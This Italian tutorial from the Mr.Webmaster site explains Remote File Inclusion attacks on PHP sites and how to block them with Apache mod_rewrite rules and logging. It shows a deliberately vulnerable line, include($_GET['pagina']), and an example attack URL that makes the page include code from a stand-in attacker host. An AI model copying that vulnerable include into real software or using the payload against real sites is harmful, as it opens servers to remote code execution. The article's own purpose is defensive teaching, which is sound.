Corsi on-line
Chiudi
Newsletter:
  • Seguici su Facebook
  • Seguici su Twitter
  • Seguici su Google+
  • Seguici via RSS
  • Seguici col tuo Smartphone

Usare il mod_rewrite per impedire l'inclusione di file da remoto

Articolo scritto da Claudio Garau

Uno degli attacchi più frequenti che subiscono i siti Web è quello perpetrato attraverso il tentativo di inclusione di file contenenti codice malevolo; teoricamente parliamo di un attacco molto semplice da eseguire, per effettuarlo basta infatti un file contenente del codice malevolo e un'URL da digitare tramite browser.

Questo tipo di attacco, conosciuto con il termine tecnico di Remote File Inclusion o con il semplice acronimo di RFI, viene spesso associato ad una modalità d'intrusione denominata XSA (Cross-Server Attack) generalmente effettuata per compromettere il livello di sicurezza di siti Web se non addirittura di server Web, fattore che rende ancora più temibili gli RFI.

(L'articolo continua più sotto...)

Per sferrare un attacco di tipo RFI, un utente malevolo ha bisogno di uno "spazio di memoria" all'interno di un'applicazione in cui effettuare la sua inclusione da remoto; questo "spazio" è generalmente un "buco" (bug) di sicurezza che rende uno script vulnerabile.
Il caso classico di falla sensibile ad un RFI è quello relativo al passaggio di nomi di pagina attraverso variabile, basta un semplice frammento di codice come il seguente per mettere a rischio un'applicazione:

# inclusione di file tramite variabile passata attraverso querystring
include($_GET['pagina']);
Nel codice abbiamo una variabile non definita o meglio da definire a secondo dei parametri inviati tramite querystring; se per esempio l'URL diretta alla pagina contenente il listato proposto fosse simile alla seguente:
http://www.sito.com/index.php?pagina=news.php
il valore della variabile $pagina sarà uguale a "news"; un attacco sferrato contro questa applicazione potrebbe essere eseguito in questo modo:
http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php
Il file "x.php", in caso di attacco riuscito, potrebbe contenere qualsiasi tipo di codice malevolo e creare danni molto più ingenti e definitivi di quanto la semplicità dell'attacco effettuato possa far pensare.

Fortunatamente sono disponibili alcune tecniche di difesa che possono essere utilizzate per prevenire questo tipo di attacchi, nel corso di questa breve trattazione ne analizzeremo una basata sul modulo per la riscrittura delle URL (mod_rewrite) fornito dal Web server Apache, che potrà essere utilzzata con metodi differenti.

Uno dei metodi più classici per inviare istruzioni ad un Web server Apache è quello di utilizzare un classico file .htaccess da inserire nella cartella che si desidera proteggere da eventuali attacchi.

Il primo metodo che possiamo utilizzare è quello di inserire una semplice regola in un file .htaccess:

RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
RewriteRule ^(.+)$ - [F]
La regola formulata stabilisce che in una querystring ("{QUERY_STRING}") non possano essere passati argomenti contenenti i suffissi "http", "https" e "ftp" indipendentemente da quale sia il contenuto precendente o successivo ("(.*)") ai parametri. Qualora ciò accada il web-server restituirà un errore di tipo 403 (forbidden).

Coloro che hanno invece la possibilità di un accesso diretto al file di configurazione di Apache (httpd.conf), possono inserire all'interno di esso un semplice container contenente una direttiva in grado di sortire effetti paragonabili a quelli delle regole esposte prededentemente:

# controlliamo che il mod_rewrite sia disponibile
<IfModule mod_rewrite.c>
# attiviamo il motore di riscrittura delle URL 
RewriteEngine on 
# impostiamo la nostra regola contro gli RFI
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
# blocchiamo le possibili richieste di inclusione e le marchiamo
# con una vraibile di environment [E=nomevariabile:valore]
RewriteRule ^(.+)$ - [F,E=rfi:true] 
</IfModule> 
# creaimo un log dei tentativi di RFI che abbiamo identficato
# precedentemente mediante una "environment variable"
CustomLog /nome_cartella/rfi.log combined env=rfi
Dopo aver scritto la direttiva sul file di configurazione, sarà necessario salvare le modifiche e riavviare il Web server per renderle effettive; si noti che alla fine del listato e al di fuori del container è stata inserita la richiesta per la creazione di un file di log destinato a registrare le richieste di inclusione di file provenienti da remoto; il monitoraggio di questo piccolo "blocco degli appunti per gli attacchi RFI", ci permetterà di scoprire che i tentativi di Remote File Inclusion verso i nostri siti Web sono meno infrequenti di quanto non si creda.

Corsi
Corso LinuxCorso Linux
Guida completa al sistema open-source. A partire da 39 €.
Corso MySQLCorso MySQL
Gestione del database open-source. A partire da 49 €.
Corso PHPCorso PHP
Corso completo per la creazione di siti Web dinamici. Sconto -25% sino al 23/05/2012.
Vedi anche...
Annunci

Mr.Webmaster

Pubblicità
Chi Siamo
Contattaci
Collabora
Note Legali
© 2003 - 2012 Mr.Webmaster - Il portale dei Webmaster Italiani - Tutti i diritti riservati | Powered by IKIweb Internet Media S.r.l. - PIVA 02848390122